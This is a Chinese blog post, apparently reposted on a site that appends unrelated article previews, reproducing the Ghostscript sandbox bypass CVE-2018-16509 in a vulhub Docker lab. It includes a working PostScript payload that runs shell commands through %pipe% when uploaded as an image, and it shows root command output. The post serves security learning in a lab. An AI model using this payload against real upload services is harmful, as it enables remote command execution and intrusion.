[ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2018-16509

news2024/9/21 21:40:37

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2018-16509环境
    • 2、启动CVE-2018-16509环境
    • 3、查看CVE-2018-16509环境
    • 4、访问CVE-2018-16509环境
    • 5、查看CVE-2018-16509漏洞提示信息
    • 6、关闭CVE-2018-16509环境
  • 五、漏洞复现
    • 1、POC
    • 2、执行id
      • 1.访问漏洞页面
      • 2.构造执行ls的poc
      • 3.上传poc.png
      • 4.命令执行成功
    • 3、执行touch /tmp/PowerShell.txt
      • 1.访问漏洞页面
      • 2.构造创建文件的poc
      • 3.上传poc.png
      • 4.命令执行成功
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2018-16509

二、影响范围

Ghostscript 9.24之前版本

三、漏洞描述

Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的绘图程序一般都很大。以Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎,GhostScript 被许多图片处理库所使用。在文件上传过程中,有可能会用GhostScript来处理图片。
CVE-2018-16509是由于GhostScript在处理/invalidaccess异常时,程序没有正确的检测restoration of privilege(权限恢复),导致攻击者可通过提交特制的PostScript利用该漏洞执行代码。

四、环境搭建

1、进入CVE-2018-16509环境

cd vulhub/ghostscript/CVE-2018-16509

在这里插入图片描述

2、启动CVE-2018-16509环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2018-16509环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2018-16509环境

访问ip+端口

http://192.168.233.128:8080/

在这里插入图片描述

5、查看CVE-2018-16509漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2018-16509环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、POC

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%命令 > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

2、执行id

1.访问漏洞页面

http://192.168.233.128:8080/

在这里插入图片描述

2.构造执行ls的poc

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ls > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

在这里插入图片描述
在这里插入图片描述

3.上传poc.png

上传poc.png,将执行命令id > /tmp/success && cat /tmp/success,将id这个命令写入到success这个文件中,并且查看这个文件

在这里插入图片描述

4.命令执行成功

回显出id信息

Image size is: uid=0(root) gid=0(root) groups=0(root)

在这里插入图片描述

3、执行touch /tmp/PowerShell.txt

1.访问漏洞页面

http://192.168.233.128:8080/

在这里插入图片描述

2.构造创建文件的poc

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/PowerShell.txt > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

在这里插入图片描述

3.上传poc.png

在这里插入图片描述

4.命令执行成功

无回显

在这里插入图片描述

进入容器查看,文件创建成功

docker ps
docker exec -it 容器id /bin/bash
ls /tmp

在这里插入图片描述

六、漏洞修复

目前最全的修复方案参考

https://www.kb.cert.org/vuls/id/332928

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/69600.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Cellobiose-PEG-DBCO 纤维二糖-聚乙二醇-二苯基环辛炔,DBCO-PEG-纤维二糖

Cellobiose-PEG-DBCO 纤维二糖-聚乙二醇-二苯基环辛炔,DBCO-PEG-纤维二糖 中文名称:纤维二糖-二苯基环辛炔 英文名称:Cellobiose-DBCO 别称:二苯基环辛炔修饰纤维二糖,二苯基环辛炔-纤维二糖 PEG分子量可选&…

2023年湖北安全员ABC报名时间和考试时间是什么时候?甘建二

2023年湖北安全员ABC报名时间和考试时间是什么时候? 安全员ABC考试和报名时间,12月份安全员ABC考试时间是12月底,12月份湖北安全员ABC报名是现在开始报名了,目前报名入口已经开通需要开始报名了。 2023年湖北安全员ABC报名时间&am…

人工智能历史上的重要一步:ChatGPT影响到谷歌地位?

AI神器ChatGPT 火了。 能直接生成代码、会自动修复bug、在线问诊、模仿莎士比亚风格写作……各种话题都能hold住,它就是OpenAI刚刚推出的——ChatGPT。 有脑洞大开的网友甚至用它来设计游戏:先用ChatGPT生成游戏设定,再用Midjourney出图&…

如何让 useEffect 支持 async/await?

大家在使用 useEffect 的时候,假如回调函数中使用 async...await... 的时候,会报错如下。 看报错,我们知道 effect function 应该返回一个销毁函数(return返回的 cleanup 函数),如果 useEffect 第一个参数传…

[毕业设计]C++程序类内聚度的计算与存储

目录 前言 课题背景和意义 实现技术思路 实现效果图样例 前言 📅大四是整个大学期间最忙碌的时光,一边要忙着备考或实习为毕业后面临的就业升学做准备,一边要为毕业设计耗费大量精力。近几年各个学校要求的毕设项目越来越难,有不少课题是研究生级别难度的,对本科…

651页23万字智慧教育大数据信息化顶层设计及智慧应用建设方案

目录 一、 方案背景 1.1 以教育现代化支撑国家现代化 1.2 教育信息化是教育现代化重要内容和标志 1.3 大数据驱动教育信息化发展 1.4 政策指导大数据推动教育变革 1.5 教育大数据应用生态服务教育现代化 二、 建设需求 2.1 地区教育系统亟待进行信息共享、系统融合 2.2…

L2正则线性回归(岭回归)

岭回归 数据的特征比样本点还多,非满秩矩阵在求逆时会出现问题 岭回归即我们所说的L2正则线性回归,在一般的线性回归最小化均方误差的基础上增加了一个参数w的L2范数的罚项,从而最小化罚项残差平方和 简单说来,岭回归就是在普通…

FreeRTOS基础知识

目录 1.任务调度器简介 1.1抢占式调度举例 1.2时间片调度举例 2.任务状态 3.总结 1.任务调度器简介 调度器就是使用相关的调度算法来决定当前需要执行哪个任务。 FreeRTOS一共支持以下三种任务调度方式: FreeRTOS调度方式抢占式调度主要是针对优先级不同的任务…

vector深度剖析及模拟实现

vector模拟实现🏞️1. vector的扩容机制🌁2. vector迭代器失效问题📖2.1 insert导致的失效📖2.2 erase导致的失效🌿3. vector拷贝问题🏜️4. 模拟实现vector🏞️1. vector的扩容机制 #include&…

SQL快速入门、查询(SqlServer)[郝斌SqlServer完整版]

文章目录SQL学前导图一 、基本信息1 相关名词数据库相关基本概念:字段、属性、记录(元祖)、表、主键、外键2 基本语句3 约束:主键约束、外键约束、check约束、default约束、唯一约束二、查询1 计算列2 distinct(去重)3 between4 i…

生产跟踪是生产控制的基础,其主要功能有哪些?

生产跟踪是生产控制的基础,只有对生产的过程全面了解,才能掌握和控制生产的执行情况,所以生产跟踪模块在制造执行系统中一种起着举足轻重的作用。生产跟踪,不单单是对生产过程进行监控和记录数据,还需要将各个生产环节…

2023最新SSM计算机毕业设计选题大全(附源码+LW)之java校园新闻发布管理系统574ec

面对老师五花八门的设计要求,首先自己要明确好自己的题目方向,并且与老师多多沟通,用什么编程语言,使用到什么数据库,确定好了,在开始着手毕业设计。 1:选择课题的第一选择就是尽量选择指导老师…

ubuntu18.04上点云PCL 库使用初探

PCL 库使用资料 在 ubuntu18.04 上使用pcl记录 一、 安装 首先需要在 ubuntu 上安装c 库 sudo apt install libpcl-dev dpkg -S pcl 查看包文件安装的位置,包括头文件和库文件,进到库文件路径下看,目前安装的是 pcl 1.8.1 /usr/include/pc…

最全Java知识点总结归纳

一、流 Java所有的流类位于http://java.io包中,都分别继承字以下四种抽象流类型。 继承自InputStream/OutputStream的流都是用于向程序中输入/输出数据,且数据的单位都是字节(byte8bit)。 继承自Reader/Writer的流都是用于向程序中输入/输出数据&#x…

黄佳《零基础学机器学习》chap3笔记

黄佳 《零基础学机器学习》 chap3笔记 第3课 线性回归——预测网店的销售额 文章目录黄佳 《零基础学机器学习》 chap3笔记第3课 线性回归——预测网店的销售额3.1 问题定义:小冰的网店广告该如何投放3.2 数据的收集和预处理3.2.1 收集网店销售额数据3.2.2 数据读取…

功能测试(五)—— web项目抓包操作与测试报告

目录 目标 一、网络相关知识介绍 1.1 请求 1.2 响应 二、抓包工具的应用 2.1 过滤 2.2 删除数据 2.3 查看数据包内容 2.4 定位Bug 2.5 弱网测试 2.6 设置断点(请求之前) 2.7 设置断点(响应之后) 三、测试报告 目标 …

Java 多线程ThreadLocal使用

前面文章多线程间的同步控制和通信,是为了保证多个线程对共享数据争用时的正确性的。那如果一个操作本身不涉及对共享数据的使用,相反,只是希望变量只能由创建它的线程使用(即线程隔离)就需要到线程本地存储了。 Java…

Spring学习:三、Spring IoC 容器配置-注解方式

5. Spring IoC 容器配置-注解方式 5.1 注解定义Bean对象 在Bean class 添加 注解 Spring2.5 提供 Component 效果相当于 <bean> 元素 配置包扫描&#xff0c;通知spring 注解Bean 在哪个包下面 使用 <context> 命名空间 ,在spring的配置文件中添加context命令空…

【图】认识与表达

文章目录一、图的基本构成二、图的表达方式1&#xff09;邻接矩阵2&#xff09;邻接表3&#xff09;数组4&#xff09;综合一、图的基本构成 地图上有很多的建筑&#xff0c;每个建筑之间有着四通八达的道路连接着&#xff0c;如果想要使用数据结构来表示建筑和建筑之间的道路…

知识图谱-KGE-语义匹配-双线性模型-2019:CrossE

【paper】 Interaction Embeddings for Prediction and Explanation in Knowledge Graphs【简介】 本文是浙大和苏黎世大学的学者联合发表于 WSDM 2019 上的工作&#xff0c;文章提出了 CrossE&#xff0c;模型的思想也没有很高端&#xff0c;就是引入了一个矩阵C&#xff0c;用…